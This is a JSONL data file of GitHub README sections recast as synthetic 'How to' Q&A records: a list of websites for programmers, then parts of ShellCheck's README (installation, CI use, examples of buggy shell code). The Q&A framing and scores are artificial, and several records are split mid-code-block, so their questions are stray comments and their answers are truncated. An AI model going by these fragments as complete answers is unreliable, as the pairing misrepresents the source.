{"id": "gh_997cb45cdec5", "question": "How to: 💻 Online Compiler and Sharing Code snippets", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [C9.io](https://c9.io) : Your development environment, in the cloud\n- [Carbon](https://carbon.now.sh/) : Create pretty looking images of your code snippets.\n- [Codeframe](https://codeframe.co/) : Online pastebin-like playground for building websites using HTML, CSS, and JavaScript \n- [CodePad](https://codepad.remoteinterview.io) : Code editor to try, test and run 25+ languages\n- [Coder](https://coder.com) : A Web-based development environment using Visual Studio Code as a code editor\n- [Codesandbox.io](https://codesandbox.io) : CodeSandbox makes it easier to create, share, and reuse React projects with others.\n- [Github Codespaces](https://github.com/codespaces) : Integrated cloud-based IDE directly to your browser.\n- [Github Gist](https://gist.github.com) : Instantly share code, notes, and snippets.\n- [Godbolt.org](https://godbolt.org) : Excellent tool for exploring the assembly output of different compilers with and without optimization.\n- [Ideone.com](https://ideone.com) : online compiler and debugging tool for more than 60 programming languages\n- [JSFiddle](https://jsfiddle.net) : Test your JavaScript, CSS, HTML or CoffeeScript with online code editor\n- [JSBin](https://jsbin.com/) : Front end playground, Output is not framed, so it allows you to share those snippets that will break inside an iframe.\n- [Judge0 IDE](https://ide.judge0.com) : Online compiler with 40+ interpreters and compilers.\n- [Pastebin.com](https://pastebin.com) : Pastebin can store texts like code, notes, and snippets online for a set time which can be shared instantly.\n- [PlayCode](https://playcode.io/) : Online Javascript playground with a built-in console and support for npm packages.\n- [RunJS](https://runjs.app/play) : Online JavaScript playground with instant live feedback\n- [StackBlitz](https://stackblitz.com/) : Instant Dev environments with support of nodejs and npm packages.\n- [Wandbox](https://wandbox.org/): Online compiler with bleeding edge C++ and 40 other languages.\n- [PHPize.online](https://phpize.online/): Online PHP compiler with SQL support.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506701"}
{"id": "gh_7549f45d2c65", "question": "How to: 📝 Blogs of Developers", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Algo-Geeks](http://algo-geeks.blogspot.com) : Programming Puzzles, Math Tricks, Algorithms, etc\n- [Amit Merchant](https://www.amitmerchant.com) : Tutorials, tips & tricks, and rants about programming and design.\n- [Andy Heathershaw](https://www.andyheathershaw.uk) : Personal website and blog of software developer Andy Heathershaw\n- [Antonio081014's Algorithms Codes](http://code.antonio081014.com) : The world is under the RULE.  \n- [Archives — Ask a Manager](http://www.askamanager.org/archives) : HR-related stuff\n- [Armin Ronacher's Thoughts and Writings](http://lucumr.pocoo.org) : blog on Python and open source\n- [blog.might.net](http://matt.might.net/articles/) : the blog of might dot net\n- [Brendon Gregg - Linux Kernel Dev](http://www.brendangregg.com) : the blog of Brendon D. Gregg\n- [Clean Coder Blog](http://blog.cleancoder.com) : a blog of the author of the book \"Clean Code\"\n- [CodeAhoy](https://codeahoy.com) : Blog on software and human factors. 100% Tested on Humans.\n- [CoderGears Blog Insights from](http://www.codergears.com/Blog/) : the CoderGears Team\n- [Coding Geek - A blog about IT, programming and Java](http://coding-geek.com) : A blog about IT, programming and Java\n- [Coding Horror](https://blog.codinghorror.com) : one the best coding blog\n- [CSE Blog](http://www.cseblog.com) : quant, math, computer science puzzles\n- [CSS Tricks](https://css-tricks.com/) : about building websites and all that entails, mostly from a front-end perspective\n- [Daedtech.com](https://www.daedtech.com) : Stories about software\n- [Dan Dreams of Coding](https://dandreamsofcoding.com)\n- [Daniel Lemire's Blog](https://lemire.me/blog/) : Daniel Lemire's blog\n- [Eli Bendersky](http://eli.thegreenplace.net) : everything from Python to LLVM\n- [Geek Land](https://avidullu.wordpress.com) : My precious collectibles\n- [HackerEarth Blog](http://blog.hackerearth.com) : The HackerEarth blog\n- [IT Enthusiast](http://rodiongork.tumblr.com) : IT Enthusiast\n- [Joel on Software](https://www.joelonsoftware.com) : The blog of the CEO of StackOverflow\n- [Late Developer](https://latedev.wordpress.com) :  Random thoughts of an old C++ guy\n- [Linux Forums](https://www.linux.org/forums) : A Friendly Linux Forum\n- [1ucasvb's laboriginal math and physics visualization](http://1ucasvb.tumblr.com) : Lucas Vieira Barbosa's lab original math and physics visualization\n- [Math ∩ Programming](https://jeremykun.com) : Math ∩ Programming\n- [My Tech Interviews](http://www.mytechinterviews.com) : PREPARE FOR A TECHNICAL INTERVIEW\n- [Paul Graham Essays](http://www.paulgraham.com/articles.html) : Paul Grahan Essays\n- [Programming Blog](http://www.yegor256.com) : programming blog of Yegor Bugayenko\n- [Programming in the 21st Century](http://prog21.dadgum.com) : programming in the twenty-first century\n- [rudhakar Rayavaram](http://sudhakar.online) : Sudhakar Rayavaram Blog's\n- [Runhe Tian Coding Practice](https://tianrunhe.wordpress.com) : Technical interview questions from Apple, Google, Facebook, Amazon, and Microsoft\n- [Small Programming Challenges and Puzzles](https://www.nayuki.io/category/programming) : Project Nayuki\n- [stevehanov.ca](http://stevehanov.ca/blog/) : I know how to make and sell software online, and I can share my tips with you.\n- [Takipi Blog](http://blog.takipi.com) : mainly focuses on Java and JVM languages\n- [The Pragmatic Engineer](https://blog.pragmaticengineer.com/) : Software. People. Problems. Ideas. Engineering.\n- [XDA - Android Developer Forum](https://forum.xda-developers.com) : Android Open Source Developers Forum\n- [The Net Ninja](https://www.thenetninja.co.uk/): Web development tutorials\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506716"}
{"id": "gh_cd144351a72f", "question": "How to: 🗣️ For improving your English", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Englishclub.com/learn-english](https://www.englishclub.com/learn-english.htm)\n- [Guide to Grammar and Writing](http://grammar.ccc.commnet.edu/grammar/) : for those who want to improve their English language skills\n- [Punctuation and Capitalization Rules](http://www.grammarbook.com/english_rules.asp)\n- [Purdue University Online Writing Lab (OWL)](https://owl.english.purdue.edu)\n- [Quia - English](https://www.quia.com/shared/english/)\n- [AntiMoon Immersion Approach](http://www.antimoon.com/how/howtolearn.htm): Immersion-based learning of English, can be used by people on different levels.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506723"}
{"id": "gh_4bb4d3b16da5", "question": "How to: 🔓 Open Source Websites", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [N-O-D-E](https://n-o-d-e.net/) : Everything open-source and hacker culture - news, zines, and projects\n- [Open Hatch](https://openhatch.org) : OpenHatch is a non-profit dedicated to matching prospective free software contributors with communities, tools, and education.\n- [Source Forge](https://sourceforge.net) : SourceForge hosts nearly 280,000 projects (at last count). It serves more than 2 million downloads a day and includes apps and tools in a wide variety of categories.\n- [Google Code](https://code.google.com/projecthosting) : Google offers free hosting for open source projects using the Subversion or Mercurial version control systems. It offers 2 GB of storage, integrated code review tools, a wiki, and an issue tracker. The Google Code site also provides links to Google's many publicly available APIs and other developer tools.\n- [Launch Pad](https://launchpad.net) : Maintained by Canonical, LaunchPad is particularly targeted at projects that run on Ubuntu. It provides hosting for more than 21,000 projects that use the Bazaar version control system.\n- [Google Open Source](https://opensource.google.com) : Google Open Source\n- [Red Hat Developer](https://developers.redhat.com) : The world's leading provider of open source solutions\n- [Open Source](https://opensource.com) : Open Source\n- [Google Summer of Code](https://summerofcode.withgoogle.com) : Google Summer of Code is a global program focused on bringing more student developers into open source software development. Students work with an open-source organization on a 3-month programming project during their break from school.\n- [Open Source Web Design](http://www.oswd.org) : Open Source Web Design is a platform for sharing standards-compliant free web design templates. We give web publishers a voice through good design.\n- [Mozilla Winter of Security](https://wiki.mozilla.org/Security/Automation/Winter_Of_Security_2016) : The Winter of Security (MWOS) is a program organized by Mozilla's Security teams to involve students with Security projects. Students who have to perform a semester project as part of their university curriculum can apply to one of the MWOS projects.\n- [Bit Bucket](https://bitbucket.org) : Like GitHub, BitBucket hosts both public and private projects. On this site, open-source projects and private projects with fewer than five users are free. It hosts more than 48,000 repositories, many of which are searchable on the site.\n- [Media Wiki](https://www.mediawiki.org/wiki/MediaWiki) : MediaWiki is a free software open source wiki package written in PHP, originally for use on Wikipedia. It is now also used by several other projects of the non-profit Wikimedia Foundation and by many other wikis, including this website, the home of MediaWiki.\n- [Code Curiosity](https://codecuriosity.org) : CodeCuriosity is a platform that encourages contributions to open source. Everyone is rewarded for their efforts, no matter how big or small they are.\n- [Code Triage](https://www.codetriage.com) : Help out your favorite open-source projects and become a better developer while doing it.\n- [Issue Hub](http://issuehub.io) : Contribute to Open Source. Search issue labels to find the right project for you\n- [Up for Grabs](http://up-for-grabs.net) : This is a list of projects which have curated tasks specifically for new contributors. These are a great way to get started with a project or to help share the load of working on open source projects.\n- [First Timers Only](http://www.firsttimersonly.com) : Contributing to open source for the first time can be scary and a little overwhelming. Perhaps you’re a Code Newbie or maybe you’ve been coding for a while but haven’t found a project you felt comfortable contributing to.\n- [Your First PR](http://yourfirstpr.github.io) : Your First PR helps you get started contributing to Open Source by showcasing great starter issues on GitHub and elsewhere.\n- [Awesome First PR Opportunities](https://github.com/mungell/awesome-for-beginners) : An awesome repository for finding beginner-friendly projects in different programming languages.\n- [EddieHub Open source community](https://github.com/EddieHubCommunity) : A Supportive community for people who are interested or already contributing in Open source.\n- [MLH Fellowship prgramme](https://fellowship.mlh.io/):A fully remote, 12-week internship alternative where participants earn a stipend and learn to collaborate on real open source projects with peers and engineers from top companies.\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506750"}
{"id": "gh_49103c40068a", "question": "How to: 🌱 Internships", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- [Chegg](http://www.chegg.com) : It is an awesome resource for finding internships, scholarships, tutors, etc.\n- [Internshala](https://internshala.com) : You can search for internships here according to your skill sets for your interested location. It also helps you in getting a good PPO offer from the company.\n- [Letsintern](https://www.letsintern.com) : Get a smart and challenging internship for you from the LetsIntern.\n- [PerfectIntern](https://www.perfectintern.com): Get help finding a paid internship, resume prep, interview prep, and more!\n↥ Back To Top", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506757"}
{"id": "gh_abbfdf599c3e", "question": "How to: 🌟 Special Thanks", "question_body": "About sdmg15/Best-websites-a-programmer-should-visit", "answer": "- Please consider a GitHub star if you find this useful and/or consider contributing.\n- A special thanks to Ashish Padalkar (@ashish2199) for contributing a great amount of data and structure to the initial repository [Original Post](https://www.quora.com/How-to-Create-a-Blog-2/answer/Ashish-Padalkar?srid=OH96).", "tags": ["sdmg15"], "source": "github_gists", "category": "sdmg15", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 75329, "answer_score": 10, "has_code": false, "url": "https://github.com/sdmg15/Best-websites-a-programmer-should-visit", "collected_at": "2026-01-17T08:21:34.506767"}
{"id": "gh_8e95ceb4f683", "question": "How to: ShellCheck - A shell script static analysis tool", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck is a GPLv3 tool that gives warnings and suggestions for bash/sh shell scripts:\n\n![Screenshot of a terminal showing problematic shell script lines highlighted](doc/terminal.png)\n\nThe goals of ShellCheck are\n\n* To point out and clarify typical beginner's syntax issues that cause a shell\n  to give cryptic error messages.\n\n* To point out and clarify typical intermediate level semantic problems that\n  cause a shell to behave strangely and counter-intuitively.\n\n* To point out subtle caveats, corner cases and pitfalls that may cause an\n  advanced user's otherwise working script to fail under future circumstances.\n\nSee [the gallery of bad code](README.md#user-content-gallery-of-bad-code) for examples of what ShellCheck can help you identify!", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479684"}
{"id": "gh_cd3cce18e43f", "question": "How to: Table of Contents", "question_body": "About koalaman/shellcheck", "answer": "* [How to use](#how-to-use)\n  * [On the web](#on-the-web)\n  * [From your terminal](#from-your-terminal)\n  * [In your editor](#in-your-editor)\n  * [In your build or test suites](#in-your-build-or-test-suites)\n* [Installing](#installing)\n* [Compiling from source](#compiling-from-source)\n  * [Installing Cabal](#installing-cabal)\n  * [Compiling ShellCheck](#compiling-shellcheck)\n  * [Running tests](#running-tests)\n* [Gallery of bad code](#gallery-of-bad-code)\n  * [Quoting](#quoting)\n  * [Conditionals](#conditionals)\n  * [Frequently misused commands](#frequently-misused-commands)\n  * [Common beginner's mistakes](#common-beginners-mistakes)\n  * [Style](#style)\n  * [Data and typing errors](#data-and-typing-errors)\n  * [Robustness](#robustness)\n  * [Portability](#portability)\n  * [Miscellaneous](#miscellaneous)\n* [Testimonials](#testimonials)\n* [Ignoring issues](#ignoring-issues)\n* [Reporting bugs](#reporting-bugs)\n* [Contributing](#contributing)\n* [Copyright](#copyright)\n* [Other Resources](#other-resources)", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479704"}
{"id": "gh_6972bc504035", "question": "How to: On the web", "question_body": "About koalaman/shellcheck", "answer": "Paste a shell script on\nfor instant feedback.\n\n[ShellCheck.net](https://www.shellcheck.net) is always synchronized to the latest git commit, and is the easiest way to give ShellCheck a go. Tell your friends!", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479712"}
{"id": "gh_cba3645ae9e9", "question": "How to: From your terminal", "question_body": "About koalaman/shellcheck", "answer": "Run `shellcheck yourscript` in your terminal for instant output, as seen above.", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479717"}
{"id": "gh_3b666566e743", "question": "How to: In your editor", "question_body": "About koalaman/shellcheck", "answer": "You can see ShellCheck suggestions directly in a variety of editors.\n\n* Vim, through [ALE](https://github.com/w0rp/ale), [Neomake](https://github.com/neomake/neomake), or [Syntastic](https://github.com/scrooloose/syntastic):\n\n![Screenshot of Vim showing inlined shellcheck feedback](doc/vim-syntastic.png).\n\n* Emacs, through [Flycheck](https://github.com/flycheck/flycheck) or [Flymake](https://github.com/federicotdn/flymake-shellcheck):\n\n![Screenshot of emacs showing inlined shellcheck feedback](doc/emacs-flycheck.png).\n\n* Sublime, through [SublimeLinter](https://github.com/SublimeLinter/SublimeLinter-shellcheck).\n\n* Pulsar Edit (former Atom), through [linter-shellcheck-pulsar](https://github.com/pulsar-cooperative/linter-shellcheck-pulsar).\n\n* VSCode, through [vscode-shellcheck](https://github.com/timonwong/vscode-shellcheck).\n\n* Most other editors, through [GCC error compatibility](shellcheck.1.md#user-content-formats).", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479724"}
{"id": "gh_39fc8693face", "question": "How to: In your build or test suites", "question_body": "About koalaman/shellcheck", "answer": "While ShellCheck is mostly intended for interactive use, it can easily be added to builds or test suites.\nIt makes canonical use of exit codes, so you can just add a `shellcheck` command as part of the process.\n\nFor example, in a Makefile:\n\n```Makefile\ncheck-scripts:\n    # Fail if any of these files have warnings\n    shellcheck myscripts/*.sh\n```\n\nor in a Travis CI `.travis.yml` file:\n\n```yaml\nscript:\n  # Fail if any of these files have warnings\n  - shellcheck myscripts/*.sh\n```\n\nServices and platforms that have ShellCheck pre-installed and ready to use:\n\n* [Travis CI](https://travis-ci.org/)\n* [Codacy](https://www.codacy.com/)\n* [Code Climate](https://codeclimate.com/)\n* [Code Factor](https://www.codefactor.io/)\n* [Codety](https://www.codety.io/) via the [Codety Scanner](https://github.com/codetyio/codety-scanner)\n* [CircleCI](https://circleci.com) via the [ShellCheck Orb](https://circleci.com/orbs/registry/orb/circleci/shellcheck)\n* [Github](https://github.com/features/actions) (only Linux)\n* [Trunk Code Quality](https://trunk.io/code-quality) (universal linter; [allows you to explicitly version your shellcheck install](https://github.com/trunk-io/plugins/blob/bcbb361dcdbe4619af51ea7db474d7fb87540d20/.trunk/trunk.yaml#L32)) via the [shellcheck plugin](https://github.com/trunk-io/plugins/blob/main/linters/shellcheck/plugin.yaml)\n* [CodeRabbit](https://coderabbit.ai/)\n\nMost other services, including [GitLab](https://about.gitlab.com/), let you install\nShellCheck yourself, either through the system's package manager (see [Installing](#installing)),\nor by downloading and unpacking a [binary release](#installing-a-pre-compiled-binary).\n\nIt's a good idea to manually install a specific ShellCheck version regardless. This avoids\nany surprise build breaks when a new version with new warnings is published.\n\nFor customized filtering or reporting, ShellCheck can output simple JSON, CheckStyle compatible XML,\nGCC compatible warnings as well as human readable text (with or without ANSI colors). See the\n[Integration](https://github.com/koalaman/shellcheck/wiki/Integration) wiki page for more documentation.", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479734"}
{"id": "gh_97282ebd995a", "question": "How to: Installing", "question_body": "About koalaman/shellcheck", "answer": "The easiest way to install ShellCheck locally is through your package manager.\n\nOn systems with Cabal (installs to `~/.cabal/bin`):\n\n    cabal update\n    cabal install ShellCheck\n\nOn systems with Stack (installs to `~/.local/bin`):\n\n    stack update\n    stack install ShellCheck\n\nOn Debian based distros:\n\n    sudo apt install shellcheck\n\nOn Arch Linux based distros:\n\n    pacman -S shellcheck\n\nor get the dependency free [shellcheck-bin](https://aur.archlinux.org/packages/shellcheck-bin/) from the AUR.\n\nOn Gentoo based distros:\n\n    emerge --ask shellcheck\n\nOn EPEL based distros:\n\n    sudo yum -y install epel-release\n    sudo yum install ShellCheck\n\nOn Fedora based distros:\n\n    dnf install ShellCheck\n\nOn FreeBSD:\n\n    pkg install hs-ShellCheck\n\nOn macOS (OS X) with Homebrew:\n\n    brew install shellcheck\n\nOr with MacPorts:\n\n    sudo port install shellcheck\n\nOn OpenBSD:\n\n    pkg_add shellcheck\n\nOn openSUSE\n\n    zypper in ShellCheck\n\nOr use OneClickInstall -\nOn Solus:\n\n    eopkg install shellcheck\n\nOn Windows (via [chocolatey](https://chocolatey.org/packages/shellcheck)):\n\n```cmd\nC:\\> choco install shellcheck\n```\n\nOr Windows (via [winget](https://github.com/microsoft/winget-pkgs)):\n\n```cmd\nC:\\> winget install --id koalaman.shellcheck\n```\n\nOr Windows (via [scoop](http://scoop.sh)):\n\n```cmd\nC:\\> scoop install shellcheck\n```\n\nFrom [conda-forge](https://anaconda.org/conda-forge/shellcheck):\n\n    conda install -c conda-forge shellcheck\n\nFrom Snap Store:\n\n    snap install --channel=edge shellcheck\n\nFrom Docker Hub:\n\n```sh\ndocker run --rm -v \"$PWD:/mnt\" koalaman/shellcheck:stable myscript", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479749"}
{"id": "gh_10d7039e6653", "question": "How to: Or :v0.4.7 for that version, or :latest for daily builds", "question_body": "About koalaman/shellcheck", "answer": "```\n\nor use `koalaman/shellcheck-alpine` if you want a larger Alpine Linux based image to extend. It works exactly like a regular Alpine image, but has shellcheck preinstalled.\n\nUsing the [nix package manager](https://nixos.org/nix):\n```sh\nnix-env -iA nixpkgs.shellcheck\n```\n\nUsing the [Flox package manager](https://flox.dev/)\n```sh\nflox install shellcheck\n```\n\nAlternatively, you can download pre-compiled binaries for the latest release here:\n\n* [Linux, x86_64](https://github.com/koalaman/shellcheck/releases/download/stable/shellcheck-stable.linux.x86_64.tar.xz) (statically linked)\n* [Linux, armv6hf](https://github.com/koalaman/shellcheck/releases/download/stable/shellcheck-stable.linux.armv6hf.tar.xz), i.e. Raspberry Pi (statically linked)\n* [Linux, aarch64](https://github.com/koalaman/shellcheck/releases/download/stable/shellcheck-stable.linux.aarch64.tar.xz) aka ARM64 (statically linked)\n* [macOS, aarch64](https://github.com/koalaman/shellcheck/releases/download/stable/shellcheck-stable.darwin.aarch64.tar.xz)\n* [macOS, x86_64](https://github.com/koalaman/shellcheck/releases/download/stable/shellcheck-stable.darwin.x86_64.tar.xz)\n* [Windows, x86](https://github.com/koalaman/shellcheck/releases/download/stable/shellcheck-stable.zip)\n\nor see the [GitHub Releases](https://github.com/koalaman/shellcheck/releases) for other releases\n(including the [latest](https://github.com/koalaman/shellcheck/releases/tag/latest) meta-release for daily git builds).\n\nThere are currently no official binaries for Apple Silicon, but third party builds are available via\n[ShellCheck for Visual Studio Code](https://github.com/vscode-shellcheck/shellcheck-binaries/releases).\n\nDistro packages already come with a `man` page. If you are building from source, it can be installed with:\n\n```console\npandoc -s -f markdown-smart -t man shellcheck.1.md -o shellcheck.1\nsudo mv shellcheck.1 /usr/share/man/man1\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479757"}
{"id": "gh_1aab87dc6760", "question": "How to: pre-commit", "question_body": "About koalaman/shellcheck", "answer": "To run ShellCheck via [pre-commit](https://pre-commit.com/), add the hook to your `.pre-commit-config.yaml`:\n\n```\nrepos:\n-   repo: https://github.com/koalaman/shellcheck-precommit\n    rev: v0.7.2\n    hooks:\n    -   id: shellcheck", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479763"}
{"id": "gh_b6fc64656824", "question": "How to: Installing a pre-compiled binary", "question_body": "About koalaman/shellcheck", "answer": "The pre-compiled binaries come in `tar.xz` files. To decompress them, make sure\n`xz` is installed.\nOn Debian/Ubuntu/Mint, you can `apt install xz-utils`.\nOn Redhat/Fedora/CentOS, `yum -y install xz`.\n\nA simple installer may do something like:\n\n```bash\nscversion=\"stable\" # or \"v0.4.7\", or \"latest\"\nwget -qO- \"https://github.com/koalaman/shellcheck/releases/download/${scversion?}/shellcheck-${scversion?}.linux.x86_64.tar.xz\" | tar -xJv\ncp \"shellcheck-${scversion}/shellcheck\" /usr/bin/\nshellcheck --version\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479771"}
{"id": "gh_cf9540eb9be7", "question": "How to: Compiling from source", "question_body": "About koalaman/shellcheck", "answer": "This section describes how to build ShellCheck from a source directory. ShellCheck is written in Haskell and requires 2GB of RAM to compile.", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479776"}
{"id": "gh_aa9976de5541", "question": "How to: Installing Cabal", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck is built and packaged using Cabal. Install the package `cabal-install` from your system's package manager (with e.g. `apt-get`, `brew`, `emerge`, `yum`, or `zypper`).\n\nOn macOS (OS X), you can do a fast install of Cabal using brew, which takes a couple of minutes instead of more than 30 minutes if you try to compile it from source.\n\n    $ brew install cabal-install\n\nOn MacPorts, the package is instead called `hs-cabal-install`, while native Windows users should install the latest version of the Haskell platform from\nVerify that `cabal` is installed and update its dependency list with\n\n    $ cabal update", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479783"}
{"id": "gh_8c6fe710febd", "question": "How to: Compiling ShellCheck", "question_body": "About koalaman/shellcheck", "answer": "`git clone` this repository, and `cd` to the ShellCheck source directory to build/install:\n\n    $ cabal install\n\nThis will compile ShellCheck and install it to your `~/.cabal/bin` directory.\n\nAdd this directory to your `PATH` (for bash, add this to your `~/.bashrc`):\n\n```sh\nexport PATH=\"$HOME/.cabal/bin:$PATH\"\n```\n\nLog out and in again, and verify that your PATH is set up correctly:\n\n```sh\n$ which shellcheck\n~/.cabal/bin/shellcheck\n```\n\nOn native Windows, the `PATH` should already be set up, but the system\nmay use a legacy codepage. In `cmd.exe`, `powershell.exe` and Powershell ISE,\nmake sure to use a TrueType font, not a Raster font, and set the active\ncodepage to UTF-8 (65001) with `chcp`:\n\n```cmd\nchcp 65001\n```\n\nIn Powershell ISE, you may need to additionally update the output encoding:\n\n```powershell\n[Console]::OutputEncoding = [System.Text.Encoding]::UTF8\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479791"}
{"id": "gh_f7ad5f18d7a0", "question": "How to: Gallery of bad code", "question_body": "About koalaman/shellcheck", "answer": "So what kind of things does ShellCheck look for? Here is an incomplete list of detected issues.", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479797"}
{"id": "gh_6dcd9f920e3d", "question": "How to: Conditionals", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck can recognize many types of incorrect test statements.\n\n```sh\n[[ n != 0 ]]                      # Constant test expressions\n[[ -e *.mpg ]]                    # Existence checks of globs\n[[ $foo==0 ]]                     # Always true due to missing spaces\n[[ -n \"$foo \" ]]                  # Always true due to literals\n[[ $foo =~ \"fo+\" ]]               # Quoted regex in =~\n[ foo =~ re ]                     # Unsupported [ ] operators\n[ $1 -eq \"shellcheck\" ]           # Numerical comparison of strings\n[ $n && $m ]                      # && in [ .. ]\n[ grep -q foo file ]              # Command without $(..)\n[[ \"$$file\" == *.jpg ]]           # Comparisons that can't succeed\n(( 1 -lt 2 ))                     # Using test operators in ((..))\n[ x ] & [ y ] | [ z ]             # Accidental backgrounding and piping\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479805"}
{"id": "gh_00a808d30a59", "question": "How to: Frequently misused commands", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck can recognize instances where commands are used incorrectly:\n\n```sh\ngrep '*foo*' file                 # Globs in regex contexts\nfind . -exec foo {} && bar {} \\;  # Prematurely terminated find -exec\nsudo echo 'Var=42' > /etc/profile # Redirecting sudo\ntime --format=%s sleep 10         # Passing time(1) flags to time builtin\nwhile read h; do ssh \"$h\" uptime  # Commands eating while loop input\nalias archive='mv $1 /backup'     # Defining aliases with arguments\ntr -cd '[a-zA-Z0-9]'              # [] around ranges in tr\nexec foo; echo \"Done!\"            # Misused 'exec'\nfind -name \\*.bak -o -name \\*~ -delete  # Implicit precedence in find", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479811"}
{"id": "gh_eac54c4c5542", "question": "How to: find . -exec foo > bar \\;       # Redirections in find", "question_body": "About koalaman/shellcheck", "answer": "f() { whoami; }; sudo f           # External use of internal functions\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479816"}
